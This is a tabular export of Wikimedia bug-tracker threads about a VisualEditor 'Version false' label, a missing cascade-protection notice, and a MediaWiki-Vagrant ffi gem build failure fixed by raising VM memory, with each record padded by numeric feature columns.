**Severity**: normal",Medium,50.0,1378656660,1380740276.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-7wslc7ru3hkj3phtleql,task_description,resolved,True,c1,3,False,False,False,9,,0.5,0.0,0.0,0.0,0.0,3.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,2.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,1.5,2.0,3.5,0.0,5.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,7.5,3.5213250517598342,0.5611801242236025,"== Steps ==
1) Go to
URL
2) Click on ""BETA""

== Actual result ==
There is the text ""Version false"" generated by the HTML:

<div>
 <span class=""ve-init-mw-ViewPageTarget-version-label"">Version</span> 
 <a class=""ve-init-mw-ViewPageTarget-version-link""
    target=""_blank""
    href=""false"">false</a> 
 <span class=""ve-init-mw-ViewPageTarget-version-date""></span>
</div>

== Expected result ==
There should be some version number instead of the ""false"" text

--------------------------
**Version**: unspecified
**Severity**: normal"
247352,"VisualEditor: Hide ""version false"" in the help menu if it can't be shown","Yes, this was exposed as part of bug 53050, but due to bug 53972 in how code is currently deployed to the WMF cluster, we can't actually make this available outside of Beta Labs (boo). Consequently this was fixed in gerrit 84334 two weeks ago before it hit ""real"" production wikis (non-MW.org).",,,1380740276,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7wslc7ru3hkj3phtleql,task_subcomment,,True,c1,3,True,,,13,,0.0,0.0,0.0,5.0,2.0,3.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,2.0,0.0,11.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,8.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,2.0,6.0,0.0,3.0,14.0,8.0,0.0,3.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.796875,0.796875,"Yes, this was exposed as part of bug 53050, but due to bug 53972 in how code is currently deployed to the WMF cluster, we can't actually make this available outside of Beta Labs (boo). Consequently this was fixed in gerrit 84334 two weeks ago before it hit ""real"" production wikis (non-MW.org)."
247347,"VisualEditor: Hide ""version false"" in the help menu if it can't be shown","I don't see false anymore, but currently there is no element whose class contains ""ve-init-mw-ViewPageTarget-version"" either. Was this removed on purpose?",,,1380708958,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-7wslc7ru3hkj3phtleql,task_subcomment,,True,c1,3,False,,,13,,0.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,9.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8285714285714287,0.8857142857142857,"I don't see false anymore, but currently there is no element whose class contains ""ve-init-mw-ViewPageTarget-version"" either. Was this removed on purpose?"
247343,"VisualEditor: Hide ""version false"" in the help menu if it can't be shown","I dont see 'false' on mw or en.wp.  I see 'beta'.

Is the originally reported problem fixed, or masked somehow.

I notice that version says '0.1.0', which is not useful as there have been many deploys of the code.  beta's should have build numbers or build dates for each release.

https://www.mediawiki.org/wiki/Special:Version

e.g. ULS is 'Version 2013-06-17'",,,1380678404,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-7wslc7ru3hkj3phtleql,task_subcomment,,True,c1,3,False,,,13,,2.0,0.0,0.0,0.0,1.0,4.0,4.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,1.0,4.0,0.0,6.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,4.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,10.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,2.0,5.0,8.0,1.0,4.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,0.0,4.0,6.0,7.0,0.0,10.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2289156626506026,0.6746987951807228,"I dont see 'false' on mw or en.wp.  I see 'beta'.

Is the originally reported problem fixed, or masked somehow.

I notice that version says '0.1.0', which is not useful as there have been many deploys of the code.  beta's should have build numbers or build dates for each release.

URL

e.g. ULS is 'Version 2013-06-17'"
55893,VisualEditor: Protection edit notice should also show when under cascaded protection from another page,"Article tabs are wrong when page is protected via cascading from another page.

To reproduce: visit https://pl.wikipedia.org/wiki/Wikipedia:Strona_główna?uselang=en and behold the ""Edit source"" link, even if you're anonymus.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=11700",Medium,50.0,1378575540,1398277508.0,PHID-USER-wkpnidxoctuhawexig5p,False,,False,PHID-TASK-m6zybnoobh3hwy2qmm6n,task_description,resolved,True,c1,3,True,False,False,9,,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,6.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,14.0,3.0,2.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,6.0,2.0,0.0,3.0,0.0,2.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,3.5873015873015874,0.6507936507936508,"Article tabs are wrong when page is protected via cascading from another page.

To reproduce: visit URL and behold the ""Edit source"" link, even if you're anonymus.

--------------------------
**Version**: unspecified
**Severity**: minor
**See Also**:
URL"
245835,VisualEditor: Protection edit notice should also show when under cascaded protection from another page,"Change 128965 merged by jenkins-bot:
Check cascade protection and show notice if relevant

https://gerrit.wikimedia.org/r/128965",,,1398277452,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m6zybnoobh3hwy2qmm6n,task_subcomment,,True,c1,3,False,,,42,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.7368421052631575,1.0,"Change 128965 merged by jenkins-bot:
Check cascade protection and show notice if relevant

GERRIT_URL"
245831,VisualEditor: Protection edit notice should also show when under cascaded protection from another page,"Change 128965 had a related patch set uploaded by Alex Monk:
Check cascade protection and show notice if relevant

https://gerrit.wikimedia.org/r/128965",,,1398192310,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-m6zybnoobh3hwy2qmm6n,task_subcomment,,True,c1,3,False,,,42,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.695652173913044,1.0,"Change 128965 had a related patch set uploaded by Alex Monk:
Check cascade protection and show notice if relevant

GERRIT_URL"
245825,VisualEditor: Protection edit notice should also show when under cascaded protection from another page,"Did something change here? MW shows an edit tab on these pages. If you turn on VE then it changes that ""Edit"" to ""Edit source"" and adds a new ""Edit"", which is what I would expect it to do.

What probably should be done is showing the cascade notice on VE though.",,,1397779435,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-m6zybnoobh3hwy2qmm6n,task_subcomment,,True,c1,3,True,,,41,,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,11.0,2.0,3.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,6.0,3.0,2.0,2.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,5.0,16.0,3.0,2.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,11.0,9.0,2.0,9.0,0.0,6.0,0.0,5.0,3.0,0.0,2.0,0.0,0.0,0.0,3.3125,0.765625,"Did something change here? MW shows an edit tab on these pages. If you turn on VE then it changes that ""Edit"" to ""Edit source"" and adds a new ""Edit"", which is what I would expect it to do.

What probably should be done is showing the cascade notice on VE though."
245820,VisualEditor: Protection edit notice should also show when under cascaded protection from another page,*** Bug 58452 has been marked as a duplicate of this bug. ***,,,1386959355,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-m6zybnoobh3hwy2qmm6n,task_subcomment,,True,c1,3,True,,,23,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 58452 has been marked as a duplicate of this bug. ***
55864,provisioning browsertests role fails,"I added role ""browsertests"", but every time I run `vagrant provision` it fails. It seems to be trying to install an ""ffi"" (foreign function interface) module.

Fri Sep 06 20:26:53 +0000 2013 /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns (notice): Using rake (10.1.0)
Fri Sep 06 20:26:53 +0000 2013 /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns (notice): Using builder (3.2.2)
Fri Sep 06 20:26:53 +0000 2013 /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns (notice): Installing ffi (1.9.0) with native extensions /usr/lib/ruby/1.9.1/rubygems/installer.rb:552:in `rescue in block in build_extensions': ERROR: Failed to build gem native extension. (Gem::Installer::ExtensionBuildError)
Fri Sep 06 20:26:53 +0000 2013 /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns (notice):
Fri Sep 06 20:26:53 +0000 2013 /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns (notice):         /usr/bin/ruby1.9.1 extconf.rb
Fri Sep 06 20:26:53 +0000 2013 /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns (notice):
Fri Sep 06 20:26:53 +0000 2013 /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns (notice): Gem files will remain installed in /home/vagrant/.gem/ruby/1.9.1/gems/ffi-1.9.0 for inspection.
Fri Sep 06 20:26:53 +0000 2013 /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns (notice): Results logged to /home/vagrant/.gem/ruby/1.9.1/gems/ffi-1.9.0/ext/ffi_c/gem_make.out

gem_make.out has only:
   /usr/bin/ruby1.9.1 extconf.rb

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=69874",Medium,50.0,1378503240,1410462222.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,,False,PHID-TASK-da2sdjr5nuneldb7hbcy,task_description,resolved,True,c1,3,False,False,False,9,,0.3333333333333333,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.6666666666666666,3.3333333333333335,0.0,1.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,4.0,3.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,14.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,12.333333333333334,0.0,1.3333333333333333,3.3333333333333335,12.0,0.0,1.6666666666666667,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.3333333333333333,5.24890350877193,0.5104166666666666,"I added role ""browsertests"", but every time I run CODE it fails. It seems to be trying to install an ""ffi"" (foreign function interface) module.

Fri Sep 06 20:26:53 +0000 2013 /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns (notice): Using rake (10.1.0)
Fri Sep 06 20:26:53 +0000 2013 /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns (notice): Using builder (3.2.2)
Fri Sep 06 20:26:53 +0000 2013 /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns (notice): Installing ffi (1.9.0) with native extensions /usr/lib/ruby/1.9.1/rubygems/installer.rb:552:in `rescue in block in build_extensions': ERROR: Failed to build gem native extension. (Gem::Installer::ExtensionBuildError)
Fri Sep 06 20:26:53 +0000 2013 /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns (notice):
Fri Sep 06 20:26:53 +0000 2013 /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns (notice):         /usr/bin/ruby1.9.1 extconf.rb
Fri Sep 06 20:26:53 +0000 2013 /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns (notice):
Fri Sep 06 20:26:53 +0000 2013 /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns (notice): Gem files will remain installed in /home/vagrant/.gem/ruby/1.9.1/gems/ffi-1.9.0 for inspection.
Fri Sep 06 20:26:53 +0000 2013 /Stage[main]/Browsertests/Exec[install browsertests bundle]/returns (notice): Results logged to /home/vagrant/.gem/ruby/1.9.1/gems/ffi-1.9.0/ext/ffi_c/gem_make.out

gem_make.out has only:
   /usr/bin/ruby1.9.1 extconf.rb

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
243955,provisioning browsertests role fails,Forgot to tag the commit in https://gerrit.wikimedia.org/r/#/c/158564/ but the patch should have fixed this and other bugs related to botched ffi compilation. A good handful of the most problematic gems are now installed from packages.,,,1410462222,,PHID-USER-7bifphmxtcqgvdofuzla,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,False,,,62,,0.0,0.0,0.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,8.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,4.378378378378378,0.8918918918918919,Forgot to tag the commit in URL but the patch should have fixed this and other bugs related to botched ffi compilation. A good handful of the most problematic gems are now installed from packages.
243949,provisioning browsertests role fails,"After profiling the `bundle install` process, I'm seeing around 128M as the peark memory usage. That seems like a reasonable amount of free memory to expect on the VM considering some of the other memory intensive processes that need to run (xvfb/firefox in browser testing, for example, uses around 192M).",,,1408742280,,PHID-USER-7bifphmxtcqgvdofuzla,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,False,,,59,,2.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,2.0,2.0,2.0,18.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,7.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,18.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,2.0,18.0,10.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,4.032786885245901,0.8032786885245902,"After profiling the CODE process, I'm seeing around 128M as the peark memory usage. That seems like a reasonable amount of free memory to expect on the VM considering some of the other memory intensive processes that need to run (xvfb/firefox in browser testing, for example, uses around 192M)."
243945,provisioning browsertests role fails,The ruby-ffi package is for Ruby 1.9. Perhaps we should try switching back to a shared directory for bundler gems. That would at least mitigate the failures by only performing ffi compilation (and other native gem compilation) once.,,,1408736249,,PHID-USER-7bifphmxtcqgvdofuzla,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,False,,,59,,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,9.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,9.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,11.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,0.0,4.333333333333333,0.8888888888888888,The ruby-ffi package is for Ruby 1.9. Perhaps we should try switching back to a shared directory for bundler gems. That would at least mitigate the failures by only performing ffi compilation (and other native gem compilation) once.
243941,provisioning browsertests role fails,Can we do `apt-get install ruby-ffi` instead of compiling ffi with bunder?,,,1408727122,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,True,,,59,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,18.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,18.0,9.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.909090909090909,1.0,Can we do CODE instead of compiling ffi with bunder?
243936,provisioning browsertests role fails,"Is this still an active problem? The browsertests role has been removed, but there are now several extension specific roles which install gems via bundler to provide testing support.",,,1408494405,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,True,,,59,,3.0,0.0,0.0,3.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,6.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.8125,1.0,"Is this still an active problem? The browsertests role has been removed, but there are now several extension specific roles which install gems via bundler to provide testing support."
243931,provisioning browsertests role fails,"I managed to get tests running after increasing memory size to 1024. Is it possible to increase memory size just when gems are installing, and then decrease it back to 512?",,,1380204683,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,12.0,15.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,6.0,0.0,9.0,15.0,0.0,3.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,4.176470588235294,0.8235294117647058,"I managed to get tests running after increasing memory size to 1024. Is it possible to increase memory size just when gems are installing, and then decrease it back to 512?"
243926,provisioning browsertests role fails,"Found it. Mediawiki-Vagrant[1] says to edit Vagrantfile-extra.rb. Now VM memory size is 1024.

$ vagrant halt
edit Vagrantfile-extra.rb
$ vagrant up
$ VBoxManage showvminfo ...
...
Memory size: 1024MB
...

1: https://www.mediawiki.org/wiki/Mediawiki-Vagrant",,,1380202260,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,2.0,2.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,0.6326530612244898,"Found it. Mediawiki-Vagrant[1] says to edit Vagrantfile-extra.rb. Now VM memory size is 1024.

$ vagrant halt
edit Vagrantfile-extra.rb
$ vagrant up
$ VBoxManage showvminfo ...
...
Memory size: 1024MB
...

1: URL"
243921,provisioning browsertests role fails,"I have tried this.

#1 $ vagrant halt

#2 changed

vb.customize ['modifyvm', :id, '--memory', '768']

in Vagrantfile to

vb.customize ['modifyvm', :id, '--memory', '1024']

#3 $ vagrant up
   $ vagrant provision

but both ""VBoxManage showvminfo"" and ""Oracle VM VirtualBox Manager"" still say ""Memory size: 768MB"".",,,1380201351,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,13.0,0.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,9.0,0.0,1.0,2.0,8.0,0.0,20.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.043956043956044,0.5164835164835165,"I have tried this.

#1 $ vagrant halt

#2 changed

vb.customize ['modifyvm', :id, '--memory', '768']

in Vagrantfile to

vb.customize ['modifyvm', :id, '--memory', '1024']

#3 $ vagrant up
   $ vagrant provision

but both ""VBoxManage showvminfo"" and ""Oracle VM VirtualBox Manager"" still say ""Memory size: 768MB""."
243918,provisioning browsertests role fails,"Created attachment 13384
VBoxManage showvminfo

**Attached**: {F11493}",,,1380201068,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,0.8125,"Created attachment 13384
VBoxManage showvminfo

**Attached**: {F11493}"
243913,provisioning browsertests role fails,"Created attachment 13383
vagrant provision

**Attached**: {F11492}",,,1380201049,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-da2sdjr5nuneldb7hbcy,task_subcomment,,True,c1,3,True,,,12,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.875,0.8125,"Created attachment 13383
vagrant provision

**Attached**: {F11492}"
